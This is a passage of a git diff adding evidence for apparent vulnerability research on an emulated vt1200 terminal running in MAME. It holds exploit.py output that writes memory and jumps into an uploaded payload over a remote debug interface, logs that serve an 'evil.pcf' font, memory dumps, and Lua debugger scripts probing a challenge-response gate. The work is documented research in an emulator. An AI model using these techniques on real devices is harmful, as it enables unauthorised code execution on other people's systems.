dwt/exploit.py --host 192.168.99.2 --poke 0x01820000 --hex DEADBEEF +poke 0x01820000 <- de ad be ef: ok +$ python3 dwt/exploit.py --host 192.168.99.2 --peek 0x01820000 --len 4 +peek 0x01820000 (4) -> de ad be ef + +$ python3 dwt/exploit.py --host 192.168.99.2 --poke 0x3F200000 --hex 0000 +poke 0x3f200000 <- 00 00: ok +$ python3 dwt/exploit.py --host 192.168.99.2 --peek 0x3F200000 --len 8 +peek 0x3f200000 (8) -> e9 7a e2 f5 aa aa 55 55 + (unchanged: ROM writes are ignored by the memory map) + +$ python3 dwt/exploit.py --host 192.168.99.2 \ + --poke-file 0x01800000 --file harness/hello-world/payload.bin +poke-file harness/hello-world/payload.bin: 82 bytes at 0x01800000: ok +$ python3 dwt/exploit.py --host 192.168.99.2 --jump 0x01800000 --jump-wait 0 +jump 0x01800000: no return within 0.0s (expected for a non-returning payload) + +emulator side (dwt/evidence/run-live/mame.log): +LIVE rdebug_poke entry pc=3F5A1B50 +LIVE rdebug_jump entry pc=3F5A3890 +LIVE payload-ran: MAGIC1=DEAD MAGIC2=BEEF COUNT=0400 +LIVE payload-ran: VRAM block 1024/1024 words FFFF, 0 holes + +=> the stock loader delivers and runs our payload; gate B is the only thing + between a remote attacker and this. + +--- 4. Challenge transform oracle (chosen 8-byte replies) --- + +dwt/evidence/run-live/render-probes.txt: deterministic, nonlinear, per-8-byte +record. Samples: + f(00*8) = 90 de 09 b4 72 85 58 17 + f(01 00 00 00 00 00 00 00) = b1 97 5f f1 d7 8d 03 2a + f(ff 00 00 00 00 00 00 00) = fc 00 33 8c 74 4b 2d 1b +Changing one input byte changes all eight output bytes. diff --git a/dwt/evidence/run-live/render-probes.txt b/dwt/evidence/run-live/render-probes.txt new file mode 100644 index 0000000..2582ad5 --- /dev/null +++ b/dwt/evidence/run-live/render-probes.txt @@ -0,0 +1,11 @@ +zero in=00 00 00 00 00 00 00 00 out=90 de 09 b4 72 85 58 17 +p0_01 in=01 00 00 00 00 00 00 00 out=b1 97 5f f1 d7 8d 03 2a +p0_02 in=02 00 00 00 00 00 00 00 out=58 65 80 0e 5d 8c 3c 55 +p0_03 in=03 00 00 00 00 00 00 00 out=ee 59 0d f0 3c 2b db dd +p0_10 in=10 00 00 00 00 00 00 00 out=0b 9a b2 2e 40 0a 06 8f +p0_20 in=20 00 00 00 00 00 00 00 out=36 2c f7 98 ec 8a e9 18 +p0_30 in=30 00 00 00 00 00 00 00 out=9e ca e2 e5 39 a1 63 57 +p0_80 in=80 00 00 00 00 00 00 00 out=57 d8 29 7c 38 f7 78 3b +p0_ff in=ff 00 00 00 00 00 00 00 out=fc 00 33 8c 74 4b 2d 1b +p1_01 in=00 01 00 00 00 00 00 00 out=21 10 5d ae d5 e1 3e c5 +p7_01 in=00 00 00 00 00 00 00 01 out=46 ba 79 8d 00 e1 0c db diff --git a/dwt/evidence/run-live/reply_in.bin b/dwt/evidence/run-live/reply_in.bin new file mode 100644 index 0000000..1de54cf --- /dev/null +++ b/dwt/evidence/run-live/reply_in.bin @@ -0,0 +1 @@ +007AE8D8: 02A2 C000 63A8 7E02 FEA2 10FF 0000 .....c.~...... diff --git a/dwt/evidence/run-live/sbox.bin b/dwt/evidence/run-live/sbox.bin new file mode 100644 index 0000000..3ee75ff --- /dev/null +++ b/dwt/evidence/run-live/sbox.bin @@ -0,0 +1,130 @@ +007C7290: 8200 0080 0000 0000 8000 0000 8202 0080 ................ +007C7310: 8002 0080 8202 0000 0002 0000 8000 0000 ................ +007C7390: 0200 0000 8200 0080 8202 0080 0200 0000 ................ +007C7410: 0202 0080 8002 0080 0000 0080 0002 0000 ................ +007C7490: 0202 0000 0200 0080 0200 0080 8200 0000 ................ +007C7510: 8200 0000 8000 0080 8000 0080 0202 0080 ................ +007C7590: 8002 0000 0002 0080 0002 0080 8002 0000 ................ +007C7610: 0000 0000 0202 0000 8202 0000 0000 0080 ................ +007C7690: 8000 0000 8202 0080 0002 0000 8000 0080 ................ +007C7710: 8200 0080 0000 0080 0000 0080 0200 0000 ................ +007C7790: 8002 0080 8000 0000 8200 0000 0002 0080 ................ +007C7810: 0200 0000 0002 0000 0202 0080 8202 0000 ................ +007C7890: 8202 0080 8002 0000 8000 0080 0202 0080 ................ +007C7910: 0002 0080 0202 0000 8202 0000 8200 0080 ................ +007C7990: 0202 0000 0200 0080 0200 0080 0000 0000 ................ +007C7A10: 8002 0000 8200 0000 0000 0000 8002 0080 ................ +007C7A90: 4010 4008 4000 4000 4000 0000 4010 0008 .@.@.@.@.@...@.. +007C7B10: 0000 0008 0010 0000 0010 4008 4010 4000 ...........@.@.@ +007C7B90: 0010 4000 4010 4008 4000 4008 0000 4000 ...@.@.@.@.@...@ +007C7C10: 4000 4000 0000 0008 0010 0000 0010 4008 .@.@...........@ +007C7C90: 4000 0008 0010 0008 4010 4000 0000 0000 .@.......@.@.... +007C7D10: 0000 4000 4000 0000 4010 0008 0000 4008 ...@.@...@.....@ +007C7D90: 0010 0008 0010 4000 0000 0000 4000 0008 .......@.....@.. +007C7E10: 4010 0000 4000 4008 0000 4008 4010 0000 .@...@.@...@.@.. +007C7E90: 0000 0000 4010 0008 0010 4008 0000 0008 .....@.....@.... +007C7F10: 4010 4000 0000 4008 4000 4008 4000 0000 .@.@...@.@.@.@.. +007C7F90: 0000 4008 4000 4000 0010 0000 4010 4008 ...@.@.@.....@.@ +007C8010: 4010 0008 0010 0000 4000 0000 0000 4000 .@.......@.....@ +007C8090: 4010 0000 4000 4008 0000 0008 0010 4000 .@...@.@.......@ +007C8110: 0010 0008 4010 4000 0010 4000 0010 0008 .....@.@...@.... +007C8190: 4000 0008 0000 0000 4000 4000 4010 0000 .@.......@.@.@.. +007C8210: 0000 4000 0010 4008 4010 4008 4000 0008 ...@...@.@.@.@.. +007C8290: 0104 0000 0100 0401 0000 0000 0004 0401 ................ +007C8310: 0100 0400 0000 0000 0104 0001 0100 0400 ................ +007C8390: 0004 0001 0004 0400 0004 0400 0000 0001 ................ +007C8410: 0104 0401 0004 0001 0000 0401 0104 0000 ................ +007C8490: 0000 0400 0004 0000 0100 0401 0100 0000 ................ +007C8510: 0100 0001 0000 0401 0004 0401 0104 0001 ................ +007C8590: 0104 0400 0100 0001 0000 0001 0104 0400 ................ +007C8610: 0004 0000 0104 0401 0100 0000 0000 0400 ................ +007C8690: 0100 0401 0000 0400 0004 0001 0104 0000 ................ +007C8710: 0000 0001 0100 0401 0100 0400 0000 0000 ................ +007C8790: 0100 0000 0004 0001 0104 0401 0100 0400 ................ +007C8810: 0004 0400 0100 0000 0000 0000 0004 0401 ................ +007C8890: 0104 0400 0000 0001 0000 0400 0104 0401 ................ +007C8910: 0004 0000 0104 0001 0100 0001 0004 0400 ................ +007C8990: 0000 0401 0104 0400 0104 0000 0000 0401 ................ +007C8A10: 0104 0001 0004 0000 0004 0401 0100 0001 ................ +007C8A90: 1000 8040 1040 8000 1040 8000 0040 0000 ..@.@...@...@... +007C8B10: 1040 0040 0040 8040 0000 8040 1000 8000 @.@.@.@...@..... +007C8B90: 0000 0000 1000 0040 1000 0040 1040 8040 ......@...@.@.@. +007C8C10: 0040 8000 0000 0000 0040 0040 0000 8040 @.......@.@...@. +007C8C90: 0000 8000 1000 0000 0000 0040 1000 8040 ..........@...@. +007C8D10: 0040 0000 0000 0040 1000 8000 1040 0000 @.....@.....@... +007C8D90: 0040 8040 0000 8000 1040 0000 0040 0040 @.@.....@...@.@. +007C8E10: 1000 0000 1040 0040 1040 8040 0040 8000 ....@.@.@.@.@... +007C8E90: 0040 0040 0000 8040 1000 0040 1040 8040 @.@...@...@.@.@. +007C8F10: 0040 8000 0000 0000 0000 0000 1000 0040 @.............@. +007C8F90: 1040 0000 0040 0040 0040 8040 0000 8000 @...@.@.@.@..... +007C9010: 1000 8040 1040 8000 1040 8000 0040 0000 ..@.@...@...@... +007C9090: 1040 8040 0040 8000 0000 8000 1000 0000 @.@.@........... +007C9110: 0000 8040 1000 8000 1040 0040 0040 8040 ..@.....@.@.@.@. +007C9190: 1000 8000 1040 0000 0000 0040 1000 8040 ....@.....@...@. +007C9210: 0040 0000 0000 0040 1000 0000 1040 0040 @.....@.....@.@. +007C9290: 0080 0000 0080 0104 0000 0104 0080 2100 ...............! +007C9310: 0000 0004 0080 0000 0000 2000 0000 0104 ........... .... +007C9390: 0080 2004 0000 0004 0080 0100 0080 2004 ... ........... +007C9410: 0080 2100 0000 2104 0080 0004 0000 2000 ...!...!....... +007C9490: 0000 0100 0000 2004 0000 2004 0000 0000 ....... ... .... +007C9510: 0080 2000 0080 2104 0080 2104 0080 0100 ... ...!...!.... +007C9590: 0000 2104 0080 2000 0000 0000 0000 2100 ...!... .......! +007C9610: 0080 0104 0000 0100 0000 2100 0080 0004 ...........!.... +007C9690: 0000 0004 0080 2100 0080 0000 0000 0100 .......!........ +007C9710: 0000 2000 0000 0104 0080 2100 0080 2004 ... .......!... +007C9790: 0080 0100 0000 2000 0000 2104 0080 0104 ....... ...!.... +007C9810: 0080 2004 0080 0000 0000 0100 0000 2104 ... ...........! +007C9890: 0080 2104 0080 0004 0000 2100 0080 2104 ...!.......!...! +007C9910: 0000 0104 0000 0000 0000 2004 0000 2100 ........... ...! +007C9990: 0080 0004 0080 0100 0080 2000 0000 0004 ........... .... +007C9A10: 0000 0000 0000 2004 0080 0104 0080 2000 ....... ....... +007C9A90: 0008 1000 0000 1020 2000 0000 2008 1020 ...... .. ... . +007C9B10: 0000 1020 0008 0000 2008 1020 0000 0020 .. ...... ... . +007C9B90: 2000 1000 2008 0020 0000 0020 0008 1000 . ... ... ..... +007C9C10: 0008 0020 2000 1000 0000 1000 2008 0000 .. .. ....... .. +007C9C90: 0000 0000 0008 0020 2008 1000 2000 0000 ...... .. ... .. +007C9D10: 2000 0020 2008 1000 0008 0000 0008 1020 . .. ........ . +007C9D90: 0008 1020 0000 0000 2008 0020 2000 1020 .. ...... .. . +007C9E10: 2008 0000 2000 0020 2000 1020 0000 1000 . ... .. ..... +007C9E90: 2000 1000 0008 0000 0008 1020 2000 0020 . ........ .. . +007C9F10: 2008 1020 0000 0020 2008 0000 0008 1000 . ... .. ...... +007C9F90: 0000 0020 2000 1000 0000 1000 2008 0000 .. .. ....... .. +007CA010: 0008 1000 2008 1020 2000 0020 0000 1020 ..... .. ... . +007CA090: 2008 0020 2000 1020 0000 0000 0008 1020 . .. ....... . +007CA110: 0008 0000 2000 0000 0000 1020 2008 0020 ..... .... .. . +007CA190: 2000 0000 0008 0020 2008 1000 0000 0000 . .... .. ...... +007CA210: 2000 1020 0000 1000 0008 0020 2008 1000 . ....... .. .. +007CA290: 0000 0010 0001 0210 0401 0200 0000 0000 ................ +007CA310: 0400 0000 0401 0200 0401 0010 0400 0210 ................ +007CA390: 0401 0210 0000 0010 0000 0000 0001 0200 ................ +007CA410: 0001 0000 0000 0200 0001 0210 0401 0000 ................ +007CA490: 0400 0200 0401 0010 0001 0010 0400 0200 ................ +007CA510: 0001 0200 0000 0210 0400 0210 0001 0010 ................ +007CA590: 0000 0210 0400 0000 0401 0000 0401 0210 ................ +007CA610: 0400 0010 0001 0000 0000 0200 0400 0010 ................ +007CA690: 0000 0200 0400 0010 0000 0010 0401 0200 ................ +007CA710: 0401 0200 0001 0210 0001 0210 0001 0000 ................ +007CA790: 0001 0010 0000 0200 0400 0200 0000 0010 ................ +007CA810: 0400 0210 0401 0000 0401 0010 0400 0210 ................ +007CA890: 0401 0000 0001 0200 0401 0210 0000 0210 ................ +007CA910: 0400 0010 0000 0000 0001 0000 0401 0210 ................ +007CA990: 0000 0000 0401 0010 0000 0210 0400 0000 ................ +007CAA10: 0001 0200 0400 0200 0400 0000 0001 0010 ................ +007CAA90: 0820 0800 0800 0000 0000 0002 0820 0802 ........... ... +007CAB10: 0000 0800 0820 0800 0020 0000 0000 0800 .... ... ....... +007CAB90: 0020 0002 0000 0802 0820 0802 0800 0002 ....... ....... +007CAC10: 0800 0802 0820 0002 0800 0000 0020 0000 .... ....... ... +007CAC90: 0000 0802 0020 0800 0800 0800 0820 0000 .... ....... ... +007CAD10: 0800 0002 0020 0002 0020 0802 0800 0802 .... ... ....... +007CAD90: 0820 0000 0000 0000 0000 0000 0020 0802 ........... ... +007CAE10: 0020 0800 0800 0800 0820 0002 0000 0002 ....... ....... +007CAE90: 0820 0002 0000 0002 0800 0802 0800 0000 ............... +007CAF10: 0020 0000 0020 0802 0800 0000 0820 0002 ... ....... ... +007CAF90: 0800 0800 0020 0000 0020 0800 0000 0802 .... ... ....... +007CB010: 0020 0802 0000 0800 0000 0002 0820 0800 ........... ... +007CB090: 0000 0000 0820 0802 0020 0002 0020 0800 .... ... ... ... +007CB110: 0000 0802 0800 0800 0820 0800 0000 0000 ........ ....... +007CB190: 0820 0802 0800 0002 0800 0002 0820 0000 ........... ... +007CB210: 0820 0000 0020 0002 0000 0800 0800 0802 ... ........... +007CB290: 0440 0000 B6D0 007C 3E2C 021F 3001 0D08 @.....|.,>...0.. +007CB310: 232D 1F28 -#(. diff --git a/dwt/evidence/run-live/serve.log b/dwt/evidence/run-live/serve.log new file mode 100644 index 0000000..99d7e0b --- /dev/null +++ b/dwt/evidence/run-live/serve.log @@ -0,0 +1,10 @@ +serving 29 names on ('192.168.99.1', 69) + names: 69, 69/baseline.pcf, 69/evil.pcf, 69/fonts.dir, 69/v1200a.pcf, ROM, X11/baseline.pcf, X11/evil.pcf, X11/fonts.dir, X11/v1200a.pcf, baseline.pcf, evil.pcf, font, font/baseline.pcf, font/evil.pcf, font/fonts.dir, font/v1200a.pcf, fonts, fonts.dir, fonts/baseline.pcf, fonts/evil.pcf, fonts/fonts.dir, fonts/v1200a.pcf, misc/baseline.pcf, misc/evil.pcf, misc/fonts.dir, misc/v1200a.pcf, real.pcf, rom +bootp: L2 responder on tap-mess-1000-0: handing out 192.168.99.2, siaddr 192.168.99.1 (src mac c6:fc:cc:16:f5:66) +bootp: request from 08:00:2b:16:4b:5a xid=f81fccff -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0) +bootp: request from 08:00:2b:16:4b:5a xid=f81fccff -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0) +bootp: request from 08:00:2b:16:4b:5a xid=f81fccff -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0) +bootp: request from 08:00:2b:16:4b:5a xid=f81fccff -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0) +bootp: request from 08:00:2b:16:4b:5a xid=f81fccff -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0) +bootp: request from 08:00:2b:16:4b:5a xid=f81fccff -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0) +bootp: request from 08:00:2b:16:4b:5a xid=f81fccff -> 192.168.99.2 (siaddr 192.168.99.1, tap tap-mess-1000-0) diff --git a/dwt/evidence/run-static/dump_static.log b/dwt/evidence/run-static/dump_static.log new file mode 100644 index 0000000..cee4672 --- /dev/null +++ b/dwt/evidence/run-static/dump_static.log @@ -0,0 +1,34 @@ +Warning: -video none doesn't make much sense without -seconds_to_run +vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901 +vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901 +vt1200: scanline#1 line=1 enabled=1 +vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1 +PTRS frame1 @1C0200=00000000 @1C0220=00000000 @1C0240=00000000 @1C0260=00000000 +vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901 +vt1200: scanline#2 line=0 enabled=1 +vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901 +vt1200: scanline#3 line=1 enabled=1 +vt1200: scanline#4 line=2 enabled=1 +--- 0x1BE800 @bit 0x1BE800 (byte 0x37D00) +00 00 55 F8 61 C7 E5 13 11 D4 C8 00 00 00 00 00 +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 3A 32 2A 22 1A 12 0A 02 +3C 34 2C 24 1C 14 0C 04 3E 36 2E 26 1E 16 0E 06 +40 38 30 28 20 18 10 08 39 31 29 21 19 11 09 01 +3B 33 2B 23 1B 13 0B 03 3D 35 2D 25 1D 15 0D 05 +3F 37 2F 27 1F 17 0F 07 28 08 30 10 38 18 40 20 +27 07 2F 0F 37 17 3F 1F 26 06 2E 0E 36 16 3E 1E +25 05 2D 0D 35 15 3D 1D 24 04 2C 0C 34 14 3C 1C +23 03 2B 0B 33 13 3B 1B 22 02 2A 0A 32 12 3A 1A +21 01 29 09 31 11 39 19 39 31 29 21 19 11 09 01 +3A 32 2A 22 1A 12 0A 02 3B 33 2B 23 1B 13 0B 03 +3C 34 2C 24 3F 37 2F 27 1F 17 0F 07 3E 36 2E 26 +1E 16 0E 06 3D 35 2D 25 1D 15 0D 05 1C 14 0C 04 +01 02 04 06 08 0A 0C 0E 0F 11 13 15 17 19 1B 1C +0E 11 0B 18 01 05 03 1C 0F 06 15 0A 17 13 0C 04 +1A 08 10 07 1B 14 0D 02 29 34 1F 25 2F 37 1E 28 +33 2D 21 30 2C 31 27 38 22 35 2E 2A 32 24 1D 20 +0E 04 0D 01 02 0F 0B 08 03 0A 06 0C 05 09 00 07 +00 0F 07 04 0E 02 0D 01 0A 06 0C 0B 09 05 03 08 +PTRS frame3000 @1C0200=00000000 @1C0220=00000000 @1C0240=00000000 @1C0260=00000000 +Average speed: 371.95% (41 seconds) diff --git a/dwt/evidence/scripts/dump_static.lua b/dwt/evidence/scripts/dump_static.lua new file mode 100644 index 0000000..db13774 --- /dev/null +++ b/dwt/evidence/scripts/dump_static.lua @@ -0,0 +1,34 @@ +-- dump_static.lua -- dump the 128-byte block at bit 0x1BE810 (the source the +-- challenge expands) and the table pointers, at frame 3000. +local machine = manager.machine +local cpu = machine.devices[':maincpu'] +local dbg = machine.debugger +local space = cpu.spaces['program'] +if not dbg then machine:exit(); return end +dbg.visible_cpu = cpu +local f = 0 +local function dump(label, bit, n) + local t = {} + print(string.format("--- %s @bit 0x%X (byte 0x%X)", label, bit, bit >> 3)) + for i = 0, n - 1 do + t[#t + 1] = string.format("%02X", space:read_u8(bit + i * 8)) + if (#t == 16) then print(table.concat(t, " ")); t = {} end + end + if #t > 0 then print(table.concat(t, " ")) end +end +emu.register_frame_done(function() + f = f + 1 + if f == 1 then + print(string.format("PTRS frame1 @1C0200=%08X @1C0220=%08X @1C0240=%08X @1C0260=%08X", + space:read_u32(0x1c0200), space:read_u32(0x1c0220), + space:read_u32(0x1c0240), space:read_u32(0x1c0260))) + end + if f == 3000 then + dump("0x1BE800", 0x1be800, 320) + print(string.format("PTRS frame3000 @1C0200=%08X @1C0220=%08X @1C0240=%08X @1C0260=%08X", + space:read_u32(0x1c0200), space:read_u32(0x1c0220), + space:read_u32(0x1c0240), space:read_u32(0x1c0260))) + machine:exit() + end +end, "dump-static") +dbg.execution_state = 'run' diff --git a/dwt/evidence/scripts/gate_branch.lua b/dwt/evidence/scripts/gate_branch.lua new file mode 100644 index 0000000..19ec3ff --- /dev/null +++ b/dwt/evidence/scripts/gate_branch.lua @@ -0,0 +1,62 @@ +-- gate_branch.lua -- does the *real* gate code take the accept branch? +-- +-- The static note read the gate as "u16 at 0xAECD2, reject when non-zero". +-- The listing actually does SETF 2 (a 2-BIT field) then MOVE @0xAECD2, so the +-- compared value is bits 2..3 of the word at 0xAECD0. This script samples that +-- field, then at frame 1000 arms a breakpoint on the instruction the CPU is +-- currently executing and uses its action to set PC to the gate sequence +-- (0x3F58B280 = SETF 2 / MOVE @0xAECD2,A7 / JREQ). Breakpoints at both +-- targets tell us which way the firmware's own compare goes. +-- +-- `go ` cannot be used: MAME's go() sets a *stop* address, not the PC. +-- Breakpoints must be armed from a frame callback; debugger printf needs +-- -debuglog. +local machine = manager.machine +local cpu = machine.devices[':maincpu'] +local dbg = machine.debugger +local space = cpu.spaces['program'] +if not dbg then machine:exit(); return end +dbg.visible_cpu = cpu + +local samples = { [0]=true, [1]=true, [10]=true, [50]=true, [100]=true, [200]=true, + [300]=true, [600]=true, [1000]=true, [3000]=true } +local f = 0 +local armed = false +local jumped = false + +local function field() + local w = space:read_u16(0xaecd0) + return (w >> 2) & 3, w +end + +emu.register_frame_done(function() + f = f + 1 + if f == 1 and not armed then + armed = true + dbg:command('bpset 3F58B2D0,,{ printf "GATE-TARGET REJECT pc=%08X a7=%08X\\n", pc, a7 ; g }') + dbg:command('bpset 3F58B430,,{ printf "GATE-TARGET ACCEPT pc=%08X a7=%08X\\n", pc, a7 ; g }') + print("armed gate-target breakpoints at frame 1") + end + if samples[f] then + local v, w = field() + print(string.format("SAMPLE frame %5d word@0xAECD0=%04X field(bits2..3)=%d", f, w, v)) + end + if f == 1000 and not jumped then + jumped = true + local pc = cpu.state['PC'].value + local bytes = {} + for i = 0, 15 do + bytes[#bytes+1] = string.format("%02X", space:read_u8(0xaec80 + i * 8)) + end + print("BYTES @bit 0xAEC80 (byte 0x" .. string.format("%X", 0xaec80 >> 3) .. "): " .. + table.concat(bytes, " ")) + print(string.format("ARM redirect at current pc=%08X -> 3F58B280", pc)) + dbg:command(string.format( + 'bpset %08X,,{ printf "REDIRECT from %%08X\\n", pc ; pc = 3F58B280 ; g }', pc)) + end + if f >= 1100 then + print("--- timed out without hitting a gate target") + machine:exit() + end +end, "gate-branch") +dbg.execution_state = 'run' diff --git a/dwt/evidence/scripts/gate_probe.lua b/dwt/evidence/scripts/gate_probe.lua new file mode 100644 index 0000000..1d16ac0 --- /dev/null +++ b/dwt/evidence/scripts/gate_probe.lua @@ -0,0 +1,102 @@ +-- gate_probe.lua -- Phase 1 of the rdebug exploit attempt. +-- +-- * sample the two 16-bit config words at bit 0xAECD0 / 0xAECD2 across boot +-- * catch every write to that region (who writes 0x8070, and when) +-- * log the store instructions and the config-object pointers statically found +-- +-- Diagnostic only: reads memory. Does not write anything. +-- +-- Breakpoints/watchpoints are armed from the frame-1 callback, not at script +-- load: commands issued before dbg.execution_state='run' do not fire. Debugger +-- printf output requires -debuglog (it goes to ./debug.log, not stdout). +-- +-- vt1200 -rompath /harness/mame/roms -video none -sound none \ +-- -nothrottle -debug -debugger none -debuglog -nvram_directory /nvram \ +-- -autoboot_script /gate_probe.lua -autoboot_delay 0 + +local machine = manager.machine +local cpu = machine.devices[':maincpu'] +local dbg = machine.debugger +local space = cpu.spaces['program'] + +if not dbg then + print("GATE ERROR: debugger not enabled; pass -debug") + machine:exit() + return +end +dbg.visible_cpu = cpu + +local function u16(a) return space:read_u16(a) end +local function u32(a) return space:read_u32(a) end +local function u8(a) return space:read_u8(a) end + +local function str_at(bitptr, max) + local out = {} + for i = 0, (max or 96) - 1 do + local c = u8(bitptr + i * 8) + if c == 0 then break end + if c >= 32 and c < 127 then out[#out + 1] = string.char(c) + else out[#out + 1] = string.format("\\x%02X", c) end + end + return table.concat(out) +end + +local samples = { [0]=true, [1]=true, [10]=true, [50]=true, [100]=true, [200]=true, + [600]=true, [1000]=true, [2000]=true, [3000]=true, [4000]=true, [5000]=true } +local frames = 0 +local armed = false + +local function arm() + -- Every write into the 8 bytes around the two words. wpset works in the + -- program space's address unit = 1 bit, so length 0x40 covers 8 bytes. + dbg:command('wpset 0xaecc0,0x40,w,,{ printf "WP cfg bit=%08X data=%04X pc=%08X\\n", wpaddr, wpdata, pc ; g }') + local stores = { + { 0x3F329F00, "STORE aecd0" }, + { 0x3F32A050, "STORE aecd2" }, + { 0x3F32A1A0, "STORE aed51" }, + { 0x3F32A2F0, "STORE aed52" }, + { 0x3F32A440, "STORE aed53" }, + { 0x3F32A590, "STORE aed54" }, + } + for _, s in ipairs(stores) do + dbg:command(string.format( + 'bpset %08X,,{ printf "%s pc=%%08X a7=%%08X a11=%%08X a8=%%08X a13=%%08X\\n", pc, a7, a11, a8, a13 ; g }', + s[1], s[2])) + end +end + +local function dump_items() + print("--- config item cells (values as the boot config code reads them)") + local slots = { 0x155830, 0x1565b0, 0x156c70, 0x157330, 0x1579f0, + 0x1580b0, 0x152230, 0x1514b0, 0x11a4b0 } + for _, a in ipairs(slots) do + print(string.format(" @0x%06X = 0x%08X", a, u32(a))) + end + local t = {} + for i = 0, 15 do t[#t + 1] = string.format("%02X", u8(0xaec80 + i * 8)) end + print("--- bytes @bit 0xAEC80: " .. table.concat(t, " ")) + print(string.format("--- word @0xAECD0 = 0x%04X, 2-bit fields: [0]=%d [1]=%d [2]=%d [3]=%d", + u16(0xaecd0), (u16(0xaecd0) >> 0) & 3, (u16(0xaecd0) >> 2) & 3, + (u16(0xaecd0) >> 4) & 3, (u16(0xaecd0) >> 6) & 3)) +end + +emu.register_frame_done(function() + frames = frames + 1 + if frames == 1 and not armed then + armed = true + arm() + end + if samples[frames] then + print(string.format("SAMPLE frame %5d @0xAECD0=%04X @0xAECD2=%04X pc=%08X", + frames, u16(0xaecd0), u16(0xaecd2), cpu.state['PC'].value)) + end + if frames == 3000 then + dump_items() + end + if frames >= tonumber(os.getenv("PROBE_END") or "5000") then + print(string.format("--- done at frame %d", frames)) + machine:exit() + end +end, "vt1200-gate-probe") + +dbg.execution_state = 'run' diff --git a/dwt/evidence/scripts/live_probe.lua b/dwt/evidence/scripts/live_probe.lua new file mode 100644 index 0000000..3d29925 --- /dev/null +++ b/dwt/evidence/scripts/live_probe.lua @@ -0,0 +1,78 @@ +-- live_probe.lua -- emulator-side evidence for the rdebug TCP attempt. +-- +-- Armed from the frame-1 callback (commands before execution do not fire). +-- Prints to ./debug.log because the harness is started with -debuglog. +-- `dump` writes the exact memory the firmware works on. +local machine = manager.machine +local cpu = machine.devices[':maincpu'] +local dbg = machine.debugger +local space = cpu.spaces['program'] +if not dbg then machine:exit(); return end +dbg.visible_cpu = cpu + +local D = "/home/arti/code/k-space/vt1200/dwt/evidence/run-live" +local MAGIC1 = 0x01810000 +local MAGIC2 = 0x01810010 +local COUNT = 0x01810020 +local VRAM = 0x04019040 +local f = 0 +local armed = false +local done_at = nil + +local function report_magic(tag) + print(string.format("LIVE %s: MAGIC1=%04X MAGIC2=%04X COUNT=%04X", + tag, space:read_u16(MAGIC1), space:read_u16(MAGIC2), space:read_u16(COUNT))) + local filled, holes = 0, 0 + for r = 0, 63 do + for c = 0, 15 do + if space:read_u16(VRAM + r * 1024 + c * 16) == 0xFFFF then + filled = filled + 1 + else + holes = holes + 1 + end + end + end + print(string.format("LIVE %s: VRAM block %d/1024 words FFFF, %d holes", tag, filled, holes)) +end + +emu.register_frame_done(function() + f = f + 1 + if f == 1 and not armed then + armed = true + dbg:command('bpset 3F58AD60,,{ printf "LIVE accept_debug_conn entry pc=%08X\\n", pc ; g }') + dbg:command('bpset 3F59F320,,{ printf "LIVE dispatcher entry pc=%08X\\n", pc ; g }') + dbg:command('bpset 3F59FDC0,,{ printf "LIVE dwt_prf challenge entry pc=%08X\\n", pc ; g }') + dbg:command('bpset 3F5A0200,,{ printf "LIVE challenge sent a13=%08X\\n", a13 ; dump ' .. D .. '/chal_sent.bin,a13,64 ; g }') + -- transform called with the reply buffer (a13+16 bytes = +128 bits) + dbg:command('bpset 3F5A0740,,{ printf "LIVE pre-transform a13=%08X reply=%08X\\n", a13, d@(a13+128) ; dump ' .. D .. '/reply_in.bin,a13+128,64 ; g }') + -- inside 0x3F5ABA40: after the first font render, a13 holds its 8-byte locals + dbg:command('bpset 3F5ABB00,,{ printf "LIVE cipher-in a13=%08X keyptr=%08X sboxptr=%08X\\n", a13, d@0x1c0260, d@0x1c0200 ; dump ' .. D .. '/cipher_in.bin,a13,64 ; dump ' .. D .. '/key.bin,d@0x1c0260,256 ; dump ' .. D .. '/sbox.bin,d@0x1c0200,4096 ; g }') + -- inside 0x3F5ABA40: locals hold the ciphertext before the final render + dbg:command('bpset 3F5AC620,,{ printf "LIVE cipher-out a13=%08X keyptr=%08X\\n", a13, d@0x1c0260 ; dump ' .. D .. '/cipher_out.bin,a13,64 ; g }') + dbg:command('bpset 3F5A08E0,,{ printf "LIVE memcmp-args a9=%08X a11=%08X\\n", a9, a11 ; dump ' .. D .. '/cmp_a9.bin,a9,64 ; dump ' .. D .. '/cmp_a11.bin,a11,64 ; g }') + -- DEBUGGER-ASSISTED: force the challenge comparison to "equal" so the + -- real poke/jump handlers can be exercised over TCP. This is NOT a + -- remote bypass -- it is only here to test the loader behind gate B. + dbg:command('bpset 3F5A0920,,{ printf "LIVE challenge memcmp FORCED a8=%08X -> 0\\n", a8 ; a8 = 0 ; g }') + dbg:command('bpset 3F5A1B50,,{ printf "LIVE rdebug_poke entry pc=%08X\\n", pc ; g }') + dbg:command('bpset 3F5A3890,,{ printf "LIVE rdebug_jump entry pc=%08X\\n", pc ; g }') + print("LIVE armed emulator-side breakpoints") + end + if f % 500 == 0 then + print(string.format("LIVE frame %5d word@0xAECD0=%04X field2..3=%d", + f, space:read_u16(0xaecd0), (space:read_u16(0xaecd0) >> 2) & 3)) + end + if done_at == nil and space:read_u16(MAGIC1) == 0xDEAD then + done_at = f + report_magic("payload-ran") + local ok, err = pcall(function() + machine.screens[1]:snapshot(D .. "/loader_frame.png") + end) + print("LIVE snapshot " .. (ok and "saved" or ("failed: " .. tostring(err)))) + end + if done_at and f >= done_at + 120 then + print(string.format("LIVE exiting at frame %d (payload seen at %d)", f, done_at)) + machine:exit() + end +end, "vt1200-live-probe") +dbg.execution_state = 'run' diff --git a/dwt/evidence/scripts/oracle.py b/dwt/evidence/scripts/oracle.py new file mode 100644 index 0000000..a6a950b --- /dev/null +++ b/dwt/evidence/scripts/oracle.py @@ -0,0 +1,90 @@ +#!/usr/bin/env python3 +"""Oracle for the dwt_prf transform on the live MAME terminal. + +Each query opens a 